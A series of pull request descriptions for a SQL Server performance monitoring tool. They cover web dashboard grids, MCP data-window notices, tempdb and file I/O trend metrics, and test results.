Keys with secret-like names are redacted at any depth. Web query keys are bounded, and unknown Custom Views sources are recorded as `compose:unknown`.

**Storage.** Recording is off the request path. A bounded queue feeds one background writer, which keeps 30 days and at most 10,000 rows, purging at most once a minute.

**Reading it back.** `get_slow_reads` returns, within the shared 32 KB response budget:
- a per-route summary, then the reads newest first;
- times in UTC;
- the five slowest statements by default, or all of them with `full_detail`.

The web dashboard reads the same answer through `/api/read/get_slow_reads`. The tools/list budget moves to 187,103 bytes and 172 tools, a figure that also covers #5186's new `get_top_procedures_by_cpu.detail` parameter, which lands with it.

**Tests.**
- The rung, the recording rule, the queue and the purge throttle.
- The argument scrub: a planted password in `servers_json`, nested API keys, URL credentials, BOM-prefixed and malformed JSON, and web tokens.
- An acceptance test that slows a `get_query_store_top` call and reads it back with `get_slow_reads`, with its `hours_back`, `top`, source, row count and statement times.

Part of #5097

* Web Top Procedures: the desktop grid's columns, grouped, with a detail=full read for the fields the page lacked (#5186)


Part of #4843

## What users see
The server page's Top Procedures grid (CPU tab and the composite panel) now has the desktop grid's columns in the desktop's order, 28 in all. The core set shows by default: Database, Procedure, Type, Execs, Total/Avg CPU, Total/Avg Duration, Total/Avg Reads, Total Spills. Three toggles under "Columns:" turn on the rest: Times (Last Execution, Cached Time), I/O and spills (Total Writes, Physical Reads, Avg Spills) and Extremes (min/max CPU, duration, reads, physical reads, writes, spills). Copy and CSV carry every column. Last Execution and Cached Time print in the browser's local time. On the hourly tier the fields that tier lacks print a dash.

## What changed
- **Page:** `TOP_PROC_COLUMNS` (28 keys) plus `TOP_PROC_GROUPS`; both grids ask for `detail: "full"`.
- **Read:** `get_top_procedures_by_cpu` gains an optional last parameter `detail` (`summary` default, `full`). `full` adds last_execution_time and cached_time (UTC instants written with "o", converted per row from the monitored server's clock through `DarlingServerClockReader`), avg_spills, and min/max logical reads, physical reads, logical writes and spills. Fields the store holds no value for are omitted. Raw tier only; an hourly answer to `detail=full` says so in `precision_note`. `TopProceduresSql` selects the ten extra columns; the reader maps them into a `TopProcedureDetail` record. HTTP catalog and dispatch pass `detail`.
- **tools/list:** one new line, `param get_top_procedures_by_cpu.detail 122`. `McpToolsListBudgetTests` 5/5; `TotalCeilingBytes` unchanged (the tool description itself is untouched).
- **Frame census:** inventory row for `cached_time`, `last_execution_time` ambiguous-site count 2 to 3, plus a pin that the reader converts and the tool writes "o".
- Sibling pin `WebTopQueriesColumnsTests` scoped to the queries read (it counted every `detail: "full"`).

## Not changed
- Desktop Query Plan column (separate plan work); the desktop's Plan Handle column is also left out (the read already returns plan_handle as a field, but the page has no plan-handle column here; the Plan column work covers it).
- Hourly tier gains nothing; no new tool; Lite and desktop untouched.

## Verified at the head
- New `WebTopProceduresColumnsTests` 7/7; RED on dev: 7/7 fail.
- New live `TopProceduresDetailLiveTests` 1/1 on a throwaway TimescaleDB (removed): non-zero server offset converts both timestamps, 5-billion physical-reads extreme, nulls omitted, summary lean, bad `detail` refused.
- `TopProceduresHourlyRoutingLiveTests` 2/2 (extended: `detail=full` on the hourly tier carries the note and no detail field).
- `ConsumedTimestampFrameDisciplineTests` 17/17, `WebTopQueriesColumnsTests`, `McpToolsListBudgetTests` 5/5, `McpPayloadContractCensusTests` 68/68.
- 293 guard-family and symbol-named classes: 4,314 run, 12 failed; 11 are on the Mac-local list (WPF/Viewer classes), the 12th was the queries pin fixed above (now green).
- Lite classes naming the read (VM run): CpuAttributionTests, LiteMcpServerClockTests, McpReadToolBudgetTests, McpToolGuideHeads.* , McpToolsListBudgetTests, QueryStatExtremesTests, QueryStatsCpuRankingReaderTests, QueryWindowTruncationTests. None name a symbol this diff changed.
- `node --check` on server-tabs.js clean.

## CHANGELOG entry
SECTION: Added
ENTRY: - **Web Top Procedures shows the desktop grid's columns** ([#5186]) - the server page's Top Procedures grid now carries the desktop's columns in three toggle groups (times, I/O and spills, extremes), with the core columns on by default. `get_top_procedures_by_cpu` gains an optional `detail=full` that adds the times, average spills and read/write/spill extremes.
REF: [#5186]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5186

* MCP: Darling's blocking, deadlock and long query tools say where their data starts (part of #4966) (#5171)

Darling's get_blocking, get_deadlocks, get_deadlock_detail, get_blocked_process_xml and get_long_query_completions now say where their data starts, with the contract Lite's twins (#5127) and Darling's session tools (#5147) use: effective_start (UTC, with a Z), window_truncated and truncation_note right after hours_back on a data answer, the same keys under hints on an empty answer, not_collected and unavailable unchanged, and a coverage probe that fails costing the notice, never the rows.

These are event lists and a first collection can store events from before itself, so the floor on a data answer is the earlier of the coverage probe and the oldest event shown (DarlingMcpWindowNotice.ReadEventAsync). Coverage is DataWindowFloor's table rule, as in Darling's other coverage notes: the deadlock tools probe deadlocks, get_blocked_process_xml the blocked process reports alone (the XML exists only there), get_blocking both the reports and the DMV blocking snapshots with the earlier winning because its page merges both, and get_long_query_completions its own table. A collector turned on after the server was registered reads as covered from the registration. The web server page's Blocking, Deadlocks, Deadlock Graphs, Blocked Process Reports and Long Query Completions grids now show the tool's own note when its window was cut, as the Top Queries grids already do.

Tests: for each tool, a notice when collection starts inside the window, none on a quiet start, an event older than its collection names the event, hints on an empty answer, the key order, a short window that starts no probe, a capped page, and a failed probe that keeps the rows; the response budgets at the default call all stay inside 32,768 bytes; the census rosters and the shared-formatter pin cover both files.

Part of #4966

* Custom Views: the recent-window route resolves module names from the module map plus a small recent overlay (#4605) (#5179)

Custom Views: the recent-window route resolves module names from the module map plus a small recent overlay (#4605)

Part of #4605. A fleet-wide 24-hour Custom Views panel grouped by database and object still failed on a large store: on the hourly-rollup-with-raw-edges route, its module-name lookup ranked every procedure_stats row in the window (about 8.5M rows, roughly 1.6 GB of sort) and hit the 1 GB temp_file_limit.

- collect.module_map now carries a watermark in a new runtime table, collect.module_map_state (set up idempotently like module_map, no migration). The watermark is the newest procedure_stats collection_time the last refresh read, written in the same statement as the upsert. It only moves forward, and it is never written later than the store's own clock.
- A new hourly incremental refresh, the sixth hourly store-maintenance tenant, upserts the map from procedure_stats since the watermark less 10 minutes, at most 2 days back. It is failure-isolated. A refresh capped by that 2-day bound logs a Warning naming the span it did not re-read. The daily refresh advances the watermark the same way.
- On that route, for a plan with the module join, the panel reads the watermark inside its own REPEATABLE READ snapshot, under a savepoint. The lookup then ranks only the rows from max(window start, watermark less 10 minutes) to the window end, and takes every older handle from the map (last_seen within the window, same server scope, not already in the overlay). Every other route, and a missing or future watermark, compiles exactly as before. MCP's run_custom_view_panel runs through the same path.
- The answer matches the raw route's. The documented edges: a module renamed in the minute between the window end and now, or a handle seen only in that minute; a procedure_stats row committed more than 10 minutes after its collection_time, which waits for the next daily refresh; and a refresh stalled for more than 2 days.
- Tests: DarlingModuleMapRecentRefreshLiveTests (11), new compiler facts in DarlingComposeTests and ComposeParameterCoverageTests (bind sites 23 to 24), and ComposeHourlyRawEdgesModuleMapLiveTests (8), which compares the overlay route against the raw compile row for row across seven cases.

* PayloadDimensionLiveTests: the dimension GC test arranges its own coverage clamp (#5190)

`PayloadDimensionLiveTests.DimensionGc_PrunesOrphansButKeepsReferencedContent_WhileTheCoverageClampHoldsFacts` depended on test order. It needs the store's coverage clamp to hold the query_stats facts. But sibling tests in the class bring continuous aggregates up through `SatisfyRollupCoverageAsync`, and leave them standing in the shared store. Whenever one was still standing, query_stats read as covered, the clamp did not hold, and the test failed with "the clamp must be holding query_stats for this test to mean anything". Whether it passed depended on which siblings ran first.

The test now drops any standing continuous aggregates at the start of its body. Its `finally` recreates exactly the set that existed before, through `LiveStoreCleanup.RunAsync`. No assertion changed.

**Tests.**
- With a sibling's aggregates seeded first, the old body fails with that message and the new one passes.
- With 27 aggregates already standing, it passes.
- Alone, three runs in a row, it passes.
- The whole class passes, 18 of 18, with no aggregate left behind.

Test only.

* Web server page: column groups for Query Store Regressions, Long Query Completions and Plan Corrections (#5195)


Part of #4843

## What users see
The three grids #5099 widened now follow the wide-grid rules #5169 set for Top Queries. Each starts on its core columns, with a "Columns:" strip of toggles that are all off at first:
- **Query Store Regressions:** "CPU and reads" (baseline and recent CPU, baseline and recent reads) and "Executions and plans" (baseline and recent executions, baseline and recent plan counts).
- **Long Query Completions:** "I/O and rows" (logical and physical reads, writes, rows) and "Session" (SPID, app, login).
- **Plan Corrections:** "Plans" (regressed and last-good plan ids, forcing type, forced, force failure), "Plan metrics" (the four execution-count and CPU-average columns) and "Lifecycle" (Valid Since, Last Refresh, Executed By/At, Reverted By/At).

The choice survives the 60-second rebuild, per grid. Copy and CSV still export the filtered rows in the current sort order and carry hidden columns (#5183 is untouched).

## What changed
- `server-tabs.js`: `QUERY_STORE_REGRESSION_GROUPS`, `LONG_QUERY_GROUPS`, `PLAN_CORRECTION_GROUPS` (all `defaultGroups: []`), a `group:` on the wide columns, and the groups passed to the three grids. Only those three grid regions changed.
- Tests: `WebQueryStoreGridGroupsTests` plus `web-qs-grids-harness.mjs` (the shipped page run under Node with TZ pinned to America/New_York): default heads and toggles, toggling, survival of a rebuild, local-time rendering of every timestamp column, and a source pin that every group named by a column is declared and none is on by default.

## Timestamps
No read changes. All timestamps these grids show already arrive as UTC instants written with `"o"` and use `format: "time"`; the census already registers each as Utc: `query_store_stats.last_execution_time`, `long_query_completions.event_time`, and the four `plan_correction` lifecycle stamps (measured UTC against `collection_time`). So no census row was added and none is frame-ambiguous. The new test shows a UTC instant rendering as 12:30 PM under a UTC-5 browser.

## Not changed
- No read was widened. Plan Corrections' Script, Executable and Revertable columns stay absent: they come from stored columns `get_plan_corrections` does not return (separate work).
- `panels.js` and the other tab regions of `server-tabs.js` are untouched.

## Verified at the head
- New class `WebQueryStoreGridGroupsTests`: 8 of 8 pass. Against dev's `server-tabs.js`: 7 of 8 fail (RED); the eighth is the timestamp source pin, which holds on dev already.
- Guard family (75 classes), every `.mjs`-harness class (37), the named classes (`ServerTabGridColumnPinTests`, `WebTopQueriesColumnsTests`, `ConsumedTimestampFrameDisciplineTests`, `ViewerGridPayloadColumnOrderPinTests`, `WebModuleLoadTests`, `ServerPageTabsTests`, `GridFilterBehaviourTests`, `ColumnGroupsBehaviourTests`), `DocCommentHygieneTests`, `RepoFileAdoptionTests`, `TsqlConventionGuardTests`: 1388 run, 0 failed, 24 skipped. `LivePostgresCollectionHygieneTests` excluded (WPF load on Mac).
- Changed-symbol sweep: 65 Darling classes name server-tabs.js or the grid constants: 871 run, 13 failed, all in `ViewerDataStartBannerTests`, `RawWindowFloorViewerPortTests`, `ViewerQueryStoreRegressionsDataStartTests`, `ViewerCollectorDurationChartTests` (WPF/COM `PlatformNotSupportedException` on this Mac; none touch the web grids).
- Lite.Tests naming a changed file: `BaselineDiscontinuityRenderCensusTests` (names `wwwroot/js`) needs a VM run.
- `node --check` on server-tabs.js: clean. Release build 0 errors.

## CHANGELOG entry
SECTION: Changed
ENTRY: - **Web Query Store Regressions, Long Query Completions and Plan Corrections grids put their wide columns behind column toggles** ([#5195]) - The extra columns are off until you turn on their group, and the choice survives the page refresh.
REF: [#5195]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5195

* WEB: favourites, acknowledged alert badges, severity colours and a collapsible sidebar, kept per browser (#5196)


Part of #4843

## What users see change
- A star on every server (sidebar and fleet cards). Favourites sort ahead of everything else in the sidebar and the fleet grid, including inside tag groups and under every sort choice.
- An alert-count badge on each server (sidebar and fleet card), counting the last 24 hours of actionable alerts. Muted, resolution and dismissed rows do not count. Its colour is the critical or warning colour. Clicking it acknowledges: the badge hides in this browser until a newer alert arrives for that server (ack-until-worse, the desktop viewer's rule). Alert delivery is untouched.
- An "Alert severity colors" disclosure at the foot of the sidebar: one colour per severity (critical, warning, info) and a reset. The choices drive the badge colour and the alert history severity cells.
- A collapse button in the sidebar header; the collapsed state is remembered.

## Decision to overturn if wrong
Favourites and acknowledgements live in the browser's `localStorage`, not the store (the desktop keeps both in per-machine files too). Cost: they do not follow a user to another browser or machine, exactly as the desktop's do not follow them to another PC. This was decided while the owner was away; one line to reverse it. No table, migration, grant or route was added.

## What changed
- New `js/viewer-local.js` (no imports, no DOM, module-scope state, `localStorage` as the durable copy) and `js/viewer-local-ui.js` (controls, built with `el`/`mount`, text only).
- `app.js`: sidebar sort and badges, one block wiring the controls at start. `pages/fleet.js`: favourites-first wrapper on the existing comparators, star and badge on the card. `index.html`: collapse button and a settings host. `css/app.css`: rules beside the sidebar and `.status-cell` rules; `theme.css` and `panels.js` untouched.
- The badge reads `get_alert_history` once per 30 s, shared by every caller, so a poll tick costs the store one extra read (the same read the Alert History page makes); a failed read keeps the last counts.

## Storage keys (all versioned `v: 1`)
`darling.local.favorites.v1` (server ids), `darling.local.acks.v1` (server id to ack instant), `darling.local.severityColors.v1` (severity to `#rrggbb`), `darling.local.sidebar.v1` (collapsed flag). Only ids, instants, booleans and hex colours are stored; no names, strings from the server or secrets.

## Corrupt data
Absent, unparsable, non-object, other-version or wrong-typed values read as defaults without throwing. Inside a right-version value, invalid entries (non-positive or non-integer ids, bad instants) are dropped one by one. A colour is accepted only as `#rrggbb` (on read and on write), reaches CSS only as a `--sev-*` custom property via `style.setProperty`, and never enters markup; anything else falls back to the palette. Unreadable or unwritable storage (private mode, quota) leaves the page working for the session.

## Not changed
No server code, schema, route or grant. `theme.css` (tokens only) and `panels.js` are untouched.

## Verified at the head
- `ViewerLocalStateBehaviourTests`: 7 pass (node-run, stubbed storage): favourites order and rebuild, ack until newer alert and rebuild, corrupt/foreign/unreadable storage, non-hex colour fallback and hand-edited value, sidebar state, one shared read, wiring pins. RED on dev: the module does not exist there, so every scenario fails to load.
- Existing node harnesses that load `app.js` / `pages/fleet.js` (`web-scheduler`, `web-kept-history`) got stand-ins for the new imports; `WebModuleLoadTests`, `WebRenderSettleTests`, `WebPageRefreshIntervalBehaviourTests`, `WebServerPageRangeTests`, `WebRangeKeptHistoryBehaviourTests`: 51 pass.
- 127 guard-family, `.mjs`-harness and Web classes: 37 failed on the first run, all from the missing stand-ins above; fixed and re-run green. A further 23 pages-and-shell classes (`ServerPageTabsTests`, `GridFilterBehaviourTests`, `AlertNotebookRenderBehaviourTests`, `FleetPageAttentionFilterTests`, `StatusBarBehaviourTests`, and others): 387 total, 0 failed.
- Full Darling.Tests on this Mac: 23154 total, 479 failed. Every failing class is on the known Mac-local list (WPF load, PowerShell deploy tests); none names a file in this diff. CI decides them.
- `node --check` clean on `viewer-local.js`, `viewer-local-ui.js`, `app.js`, `fleet.js`; load harness clean. Release build `--no-incremental`: 0 warnings, 0 errors.
- Changed-symbol pins: grepped both test projects for `app.js`, `fleet.js`, `index.html`, `app.css`, `refreshSidebar`, `redrawCards`, `SORTS`, `server-item`, `sidebar`, and both edited harnesses. Darling classes that named one were run (above). Lite.Tests hits: `LiteSidebarDotRendersTheCardStatusTests`, `LiteFleetViewTests`, `LiteOverviewCardExplainsItselfTests` match on desktop/Lite source, not on these web files; list for a VM run to be safe.

## CHANGELOG entry
SECTION: Added
ENTRY: - **Web dashboard: favourites, acknowledgeable alert badges, severity colours and a collapsible sidebar** ([#5196]) - servers can be starred and sort first, each server shows an alert-count badge that a click acknowledges until a newer alert arrives, the three severity colours are choosable, and the sidebar can be collapsed. All of it is kept per browser in local storage.
REF: [#5196]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5196

* get_server_trend: tempdb file I/O, tempdb size and file I/O throughput trends (#5187)


Part of #4843

## What users see change
`get_server_trend` (and its `/api/read/get_server_trend` route) takes three more `metric` values:

| metric | a point holds | desktop chart it matches |
|---|---|---|
| `tempdb_file_io` | `avg_read_latency_ms`, `avg_write_latency_ms`, one series per tempdb file | tempdb tab, file I/O chart (`TempDbFileIoTrendSql`) |
| `tempdb_size` | `allocated_mb` (reserved + unallocated), one series | tempdb tab, allocated-size chart (`RenderTempDbSizeChart`) |
| `file_io_throughput` | `read_mb_per_sec`, `write_mb_per_sec`, one series per `database.file` | File I/O tab, Throughput sub-tab (`FileIoThroughputTrendSql`) |

- `names` now also applies to `tempdb_file_io` (tempdb file names) and `file_io_throughput` (`database.file` labels, e.g. `tempdb.tempdev`): exact match, at most 10, default the 5 with the most operations (tempdb_file_io) or bytes (file_io_throughput). Unmatched names come back in `missing_names`; if none matches the answer is `empty` with `hints.missing_names` and `hints.top_names`. `names` on `tempdb_size` is refused.
- Interval rule (same as the desktop and the latch/spinlock precedent): an interval of 0 is dropped; a row with no stored interval uses the gap since the file's previous collection; a bucket's rate is summed bytes over summed seconds. A row whose delta is NULL is dropped and adds no seconds. Latency is summed stall over summed operations, and a bucket with rated rows but no reads (or writes) reads 0 ms, as the chart does.
- Same envelope as before: omitted nulls, `discontinuities[]`, `empty` / `unavailable` / `not_collected`.

## What changed
- `ServerTrendSql.cs`: `TempDbSize`, `TempDbFileIo(n)`, `FileIoThroughput(n)`, the two top-N reads and three "ever collected" probes. Every name is a bound parameter.
- `DarlingMcpServerTrendTools.cs`: the three metrics, their series kinds, fields, notes and capability questions; `DarlingWebEndpoints.cs`: the catalog text.
- Not changed: the desktop's own SQL (the viewer's reads are untouched; the desktop returns a fixed top-10 per bucket width, so the bucketed name-filtered reads are written new in the house style, as in the latch/spinlock change). No migration, no `wwwroot`.

## Budget (this PR moves the tools/list budget)
- `tools/list` measured on the merged tree: **185,971 bytes**, under the existing 186,158 ceiling, so `TotalCeilingBytes` is unchanged.
- Per-file pins moved: tool head 331 -> 380, `names` parameter 70 -> 40 (the per-metric detail went after the guide marker). It is a budget mover.

## Verified at the head
- Build Release, `--no-incremental`: 0 errors, no CA/CS/IDE warnings.
- `DarlingMcpServerTrendToolsTests` 14/14. Live class 4/4 on a throwaway TimescaleDB 2.30.1 / PG18 container (host port 55645, removed). New live test plants: a tempdb file with two rated rows, a restart row (interval 0) and an all-NULL-delta row (neither counts); a user file with no stored interval (gap-to-previous is the interval); a log file with a NULL write delta (adds no seconds); two tempdb size readings; `names` with a miss, the default selection, and the `empty` answer.
- RED on dev: the new `Metrics` entries, `ServerTrendSql.TempDbFileIo`/`FileIoThroughput`/`TempDbSize` do not exist there, so the tests fail to compile (RED by compile failure).
- Guard family (Census/Ratchet/Adoption/Discipline/Guard/Scrub/Hygiene/Convention/Contract/Pin) plus `McpToolsListBudgetTests`, `McpToolGuideTests`, `McpToolGuideHeadsDataTests`, `WebReadCancellationPinTests`, `McpPayloadContractCensusTests`, the three command-timeout classes, `EngineCapabilityMissTests`, `ViewerCpuTempDbTests`, `ViewerFileIoBlockingTests`, `TrendBucketingLiveTests`, `DarlingMcpDataToolsTests`, Web server-trend page/behaviour tests: 1,184 run, 0 failed, 6 skipped. `LivePostgresCollectionHygieneTests` loads WPF types and cannot run on a Mac.
- Full Darling.Tests once: 23,114 run, 553 failed, 250 skipped; every failing name is on the Mac-local failing list, none is new.
- Lite.Tests classes naming a touched symbol (VM run): `CrossAppMcpToolInventoryPinTests` (names `get_server_trend`; its tool list is unchanged). Not run on this Mac.

## CHANGELOG entry
SECTION: Added
ENTRY: - **Tempdb and file I/O trends over MCP** ([#5187]) - `get_server_trend` now also returns the tempdb per-file I/O latency, the tempdb allocated size and the per-file I/O throughput trends the desktop charts draw, with a `names` filter for the per-file ones.
REF: [#5187]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5187

## Round-1 fixes (head 58c6a8a18)
- **M2, the rule that was not actually covered.** The live test now plants a tempdev row with reads set and its read stall NULL, and the bucket must still read 5.0 ms. Proven by mutation: with the paired read guard removed from `TempDbFileIo`, the live test fails `Expected: 5, Actual: 0.28`; with the guard restored it passes. Before this, the guard could be deleted with the whole suite green.
- **M1, and a fixture gap it exposed.** `tempdb_file_io`, `tempdb_size` and `file_io_throughput` were added to the `later` array that drives the unavailable, empty and 168-hour 32 KB checks. That made the checks fail with "unavailable" where "empty" was expected — **a gap in the test's own fixtures, not a bug in the tool**: the test planted no `file_io_stats` or `tempdb_stats` rows at all. The fixture data was added rather than the check narrowed. The week-long 32 KB checks now cover all three new metrics.
- **L1.** The tool text now says a bucket with usable rows but no reads (or no writes) reads 0 for that side, and that a bucket with no usable read row at all is left out. Behaviour unchanged — the text was wrong, not the SQL.
- **L3.** `FileIoThroughput` treats a negative delta as no delta, so a counter reset on an old row with no stored interval cannot drag a bucket negative. A `reset.mdf` row with a negative delta holds the bucket at 0.1 MB/s.
- **Budget.** `tools/list` still measures 185,971 bytes: the corrected text lives in the per-call note, not in `tools/list`. No per-file pin touched. **This branch's pin will be re-measured and raised after #5163 lands**, since that PR takes dev's growth-only ceiling to 186,917.
- **Verified by pm-pr-worker, not the lane:** scrubcheck on the full diff (0 hits), and an independent baseline diff of every repo-source-scanning class.

* MCP: Lite's system-health, default trace, wait stats and blocking stats tools say where their data starts (part of #4966) (#5172)

Thirteen more Lite MCP tools now say where their data starts, with the contract Lite's other window-floor tools use (#5004, #5015, #5127, #5147): effective_start (UTC, with a Z), window_truncated and truncation_note right after hours_back on a data answer, and the same keys under hints on an empty answer. not_collected and unavailable answers keep their shape, and a window of 90 minutes or less starts no probe on a data answer. This also carries the work first opened as #5180.

System health: the nine get_health_parser_* tools read system_health_events on event_time, and the coverage probe reads the same column, so an event a first collection stored from before itself is already named by the probe. The probe counts every event type and the collector's runs, so a long-monitored server with a rare event type gets no false notice.

Default trace: the probe converts each candidate row from the monitored server's wall clock to UTC, as the read does. Wait stats: the keys ride on the data answer only. Blocking stats: blocking and deadlocks are separate series in one answer, so the one notice sits at the LATER of the two series' starts; inside the blocking series the blocked process reports and the DMV blocking snapshots stand in for each other, so the earlier of those two is the blocking start. get_daily_summary_range gets no notice: each row carries its data_state and the payload its retention_horizon, and days with no data are omitted rather than shown as quiet.

Tests: McpWindowNoticeSystemHealthToolTests (new) across the nine tools, and McpWindowNoticeAggregateToolTests (new) for the other three plus the daily-summary pin: a notice when collection starts inside the window, a quiet start, backfilled and sparse events, hints on each empty answer, the key order, a short window, capped pages, a failed probe, and for blocking stats each series covered or cut in both orders. Census and EffectiveStartUtcTests rosters list every written file.

Part of #4966

* LITE AND DESKTOP: the blocking charts' data-start note starts where the blocked process threshold went on (#5199)

In Lite and the desktop viewer, when the Blocking trend, the blocking duration Stats pair and the Overview blocking chart draw blocked process reports, the "Showing since" note now also accounts for the server's blocked process threshold. A threshold of 0 means no reports can exist, so a stretch with the threshold off used to read as no blocking with no note.

The rule, shared by both apps in PerformanceMonitor.Common's BlockingThresholdCoverage.Combine: read the server_config snapshots of "blocked process threshold (s)" (value_in_use). Only when a snapshot showed 0 before the first nonzero one in the window, and the threshold was not already on at the window's start, the note starts at the later of the report collector's coverage and that first nonzero snapshot, or at the earliest report if that is sooner. With no config rows (Azure SQL Database), a threshold on before the window, or the DMV-snapshot branch, the note is unchanged from #5159. Snapshots are taken at connect and daily, so the named start can be up to about a day late; a threshold turned off midway is not covered.

Lite takes its config snapshot before the blocked process collector turns the threshold on, so that collector now takes one more server_config capture right after it changes the threshold, and a new server's first day does not read as cut. A failed threshold read costs only the note; on the Overview chart it falls back to the collector's own answer.

Tests: BlockingThresholdCoverageTests across every arm; the viewer's live cases (threshold on midway, a report before the first nonzero snapshot, on before the window, no config rows, the DMV branch, nonzero snapshots with no zero seen, a zero after the first nonzero); the same cases in Lite's BlockingChartsDataStartTests and the Overview chart's live tests, a throwing threshold read, and a pin on the recapture. The pins that follow the new calls keep what they guard.

Fixes #5098

* Web Wait Stats and Activity tabs chart the latch, spinlock and session stats trends (#5189)


Part of #4843

## What users see
- **Wait Stats tab:** a "Latch Trend" chart (wait ms/s) and a "Spinlock Trend" chart (collisions/s), each under its table. Each has the shared multi-select, capped at the read's 10 names. Options are the classes of the table above it, heaviest first; the heaviest five are checked the first time. The checked set and search text survive the 60 s rebuild and are kept per kind and per server.
- **Activity tab:** a "Session Stats Trend" chart (total, running, sleeping, background, dormant, idle over 30 min, waiting for memory), with the newest bucket's top application and host as text.
- Names the read found no samples for are listed in a notice (read from the top level and from `hints`). Baseline discontinuities show through `discontinuityNotes`. Empty and error answers show the read's own message. All three charts use the zoomable chart path.

## What changed
- `server-tabs.js`, Wait Stats and Activity regions only: `namedTrendPanel`, `drawNamedTrends` (latch, spinlock) and `sessionStatsTrendPanel`. Reads go through `readToolWithinKeptHistory` with `{ server, metric, hours }` (and `names`).
- `Lite.Tests/BaselineDiscontinuityRenderCensusTests`: the census now counts eight `discontinuityNotes(...)` uses and names the two new functions. Lite.Tests builds here but cannot run; I traced the regex by hand: the new uses are `discontinuityNotes(trend.data)` in `drawNamedTrends` and `discontinuityNotes(res.data)` in `sessionStatsTrendPanel`, so 6 + 2 = 8. **Needs a VM run.**
- Tests: `WebWaitsActivityTrendsPageTests` (read names, params, placement) and `WebWaitsActivityTrendsBehaviourTests` with `web-waits-activity-trends-harness.mjs` (series and unit, defaults, state across a rebuild and per server and kind, `missing_names`, empty, discontinuity).

## Not changed
- The File I/O tab charts (file I/O throughput, tempdb size and tempdb file I/O) are a follow-up once their `get_server_trend` metrics land. This PR adds no tool metric and does not move the MCP budget.
- No other `server-tabs.js` region, `panels.js`, `util.js`, CSS or tool/store change.

## Verified at the head
- RED on dev's `server-tabs.js`: `WebWaitsActivityTrendsPageTests` 5/5 fail, `WebWaitsActivityTrendsBehaviourTests` 8/8 fail.
- GREEN: 5/5 and 8/8; `WebServerTrendsPageTests` 5, `WebServerTrendsBehaviourTests` 9, `WebModuleLoadTests` 7, `ServerPageTabsTests` 20, `ChartIntegerTicksPinTests` 3, `WebChartZoomBehaviourTests` 10, `GridFilterBehaviourTests` 8.
- 124 classes (guard family, every `.mjs`-harness class, budget and timeout census): only `LivePostgresCollectionHygieneTests` fails (Mac-local, WPF load).
- `node --check` clean; `load-web-modules.mjs` loads 48 modules.
- Lite.Tests: build only. VM run needed: `BaselineDiscontinuityRenderCensusTests`.

## CHANGELOG entry
SECTION: Added
ENTRY: - **Latch, spinlock and session stats trend charts on the web server page** ([#5189]) - The Wait Stats tab charts latch classes and spinlocks, with a selector for which to show, and the Activity tab charts session counts over time, matching the desktop.
REF: [#5189]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5189

* Web: File I/O tab charts write latency beside read latency, and the Version Store trend spans seven days (#5198)


Part of #4843

## What users see change

- **Server page, File I/O tab:** the latency panel now draws a read-latency chart and a write-latency chart, one line per database and file type in each. Before, only read latency was drawn.
- **FinOps, Version Store (PVS):** the size trend covers the last 7 days (it covered 24 hours). The heading and the empty-state text follow the window.

## What changed

- `server-tabs.js` `fileIoPanel`: one `get_file_io_trend` read feeds two pivots (`avg_read_latency_ms`, `avg_write_latency_ms`) and two zoomable charts (`file-io-latency`, `file-io-write-latency`), stacked as the desktop does. Both go through the same helper, share one zoom scope, keep the discontinuity notice and the kept-history strip, and show the read's own empty message. A bucket with no reads (or no writes) carries a null and is left out of that chart rather than drawn as 0; a window with reads but no writes shows "No writes in this window." under the write heading. No selection state is added, so the 60-second poll has nothing to reset.
- `version-store.js`: `TREND_HOURS` 24 -> 168.
- Tests: `WebFileIoAndPvsWindowPageTests` (read name, params, fields, chart ids, the 168 pin and the read's ceiling), `WebFileIoLatencyBehaviourTests` (node-run: both charts, discontinuity notice, no-writes window, empty answer) with new scenarios in `web-server-trends-harness.mjs`; `FinOpsTabPvsPageTests` now pins 168.

## Decisions

- **Desktop chart matched:** the Viewer's File I/O Latency sub-tab, which stacks a read-latency chart over a write-latency chart. I made two charts for the same reason: read and write latency differ by an order of magnitude on many servers, and one shared axis flattens the smaller one.
- **Queued I/O overlay: left out.** `get_file_io_trend` returns no queued-I/O field; its points carry reads, writes, stall read/write ms, average and peak read/write latency only. The missing fields are the queued read and queued write latencies (the desktop's `AvgQueuedReadLatencyMs` / `AvgQueuedWriteLatencyMs`). The read is not widened here.
- **PVS window:** 168 hours. `get_pvs_stats` validates `trend_hours_back` with `ValidateHoursBack`, whose ceiling is `MaxHoursBack = 168`; a larger value is refused, not clamped, so 168 is the real cap and exactly 7 days. The trend query is not bucketed, so 7 days returns every collection point for 5 databases; the chart already draws these through the shared zoomable chart with zoom, and `windowFromHours(168)` sets the axis. I did not add downsampling.

## Not changed

No read widened, no migration, `panels.js` and `global.json` untouched.

## Verified at the head

- Build Release (`-p:EnableWindowsTargeting=true`): 0 errors, no analyzer warnings in the changed files.
- New classes plus `FinOpsTabPvsPageTests`, `WebServerTrendsBehaviourTests`, `WebServerTrendsPageTests`, `WebModuleLoadTests`, `ServerPageTabsTests`, `ChartIntegerTicksPinTests`, `WebChartZoomBehaviourTests`: 66 run, 0 failed after the null-bucket fix (re-run afterwards as part of the guard run below).
- Guard family (Census, Ratchet, Adoption, Discipline, Guard, Scrub, Hygiene, Pin, Convention, Contract) and every class that runs a `.mjs` harness, 122 classes: 1449 run, 1 failed: `LivePostgresCollectionHygieneTests` (WPF load, fails on dev on this Mac).
- Pin sweep: `git grep` of both test projects for `version-store.js`, `fileIoPanel`, `file-io-latency`, `TREND_HOURS`, the harness name. Darling hits (`FinOpsTabPvsPageTests`, `ServerPageTabsTests`, `WebChartZoomBehaviourTests`, `WebServerTrendsBehaviourTests`, plus `WebRangeKeptHistoryBehaviourTests`, `WebServerPageRangeTests`, `BaselineDiscontinuityRenderTests`) all pass. Lite hit for the VM: `BaselineDiscontinuityRenderCensusTests` (reads `server-tabs.js`; it counts `discontinuityNotes(res.data)` uses, still 6, and checks `fileIoPanel` contains one).
- Full Darling.Tests on this Mac: failures are all in the Mac-local list (WPF/platform classes such as `Viewer4629Tests`, `ViewerChartContextMenuTests`, `ViewerDisabledListBoxThemeTests`, `DarlingStoreUpgradeRevertTests`); none touch a file in this diff.
- RED on dev: the file I/O node scenarios show one chart (read only) on dev's script; the 24 -> 168 pin fails on dev's constant.
- `node --check` clean on both changed `.js` files; scrubcheck clean on this file and the diff; commit author is Erik.

## CHANGELOG entry

SECTION: Changed
